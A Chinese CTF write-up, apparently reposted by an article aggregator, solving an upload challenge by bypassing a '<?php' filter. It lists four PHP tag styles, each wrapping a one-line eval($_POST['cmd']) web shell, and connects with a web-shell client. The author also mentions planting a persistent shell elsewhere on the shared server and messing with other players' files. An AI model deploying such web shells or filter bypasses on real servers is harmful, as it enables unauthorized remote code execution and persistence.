本文主要是介绍【fairy】实验吧——一道奇葩的上传题,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
题目链接:http://ctf3.shiyanbar.com/up/
我们先随便上传一个文件,可以直接上传,尝试着上传小马,
上传成功,发现上传成功,并且发现源码提示,看到源码就想到事情没有这么简单,查看上传的文件,果然,事情没有这么简单。
它过滤了php的标记,emmmm,查看源码,发现过滤在这
想着该怎么绕过过滤,没想出来,尝试了很多办法,都没有成功,最后在舍友的提示下,发现还有很多种php写法
1、xml风格
<?phpeval($_POST['cmd']);?>
php推荐使用的标记风格。
服务器管理员无法禁用,所有服务器上均可使用该风格。
2、脚本风格
<script language="php">eval($_POST['cmd']);</script>
默认开启,无法禁用
3、简短风格
<?eval($_POST['cmd']);?>
此种风格需要在配置文件php.ini中启用short_open_tage选项
此种风格在许多环境中默认是不支持的
4、asp风格
<%eval($_POST['cmd']);%>
此种风格需要在配置文件php.ini中启用asp_tag选项
在默认情况下是禁用的
看到第二种,简直美滋滋呀,构造小马
上传,菜刀连接
顺便看到好多人上传的文件,可以搅屎呀,在这个目录下,所有文件定时清楚一次,想着在其他目录上传一个小马,就可以一直连上去了。
差点忘了找flag,在目录下找到flag文件,获取flag为flag{hahahahahahahaha}
同时还在web目录下发现了其他的题,以及其他题的flag
这篇关于【fairy】实验吧——一道奇葩的上传题的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!